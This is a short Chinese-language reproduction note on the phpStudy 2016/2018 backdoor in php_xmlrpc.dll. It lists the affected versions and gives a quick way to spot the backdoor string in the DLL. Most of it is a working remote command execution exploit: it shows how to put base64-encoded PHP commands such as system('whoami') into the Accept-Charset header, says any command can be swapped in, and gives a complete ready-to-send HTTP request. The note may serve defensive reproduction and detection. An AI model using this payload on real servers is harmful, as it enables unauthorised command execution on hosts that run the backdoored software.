1.影响版本分布:
- phpStudy2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll - phpStudy2018
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
2.直观感性验证:
用记事本或者Notepad++打开phpstudy安装目录下的:
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
存在@eval(%s('%s'));即说明有后门。
3.客观理性验证:
BP抓包复现 》》》 直接访问首页抓包
在请求头里构造 Accept-Encoding 和 Accept-Charset
然后在请求头里添加 accept-charset: c3lzdGVtKCduZXQgdXNlcicpOw==
Accept-Charset 的值就是执行的命令,默认是system('net user');
如果想要执行其他命令,直接去把命令进行base64编码替换即可!
Post请求方式响应更直观:在请求头最后,制造若干空行。
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCd3aG9hbWknKQ==
payload:
GET / HTTP/1.1
Host: 192.168.8.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept-Encoding: gzip,deflate
Accept-Charset: c3lzdGVtKCd3aG9hbWknKQ==
Content-Length: 6
参考:
https://dylan903.coding.me/2019/09/23/phpstudy-hou-men-lou-dong-fu-xian/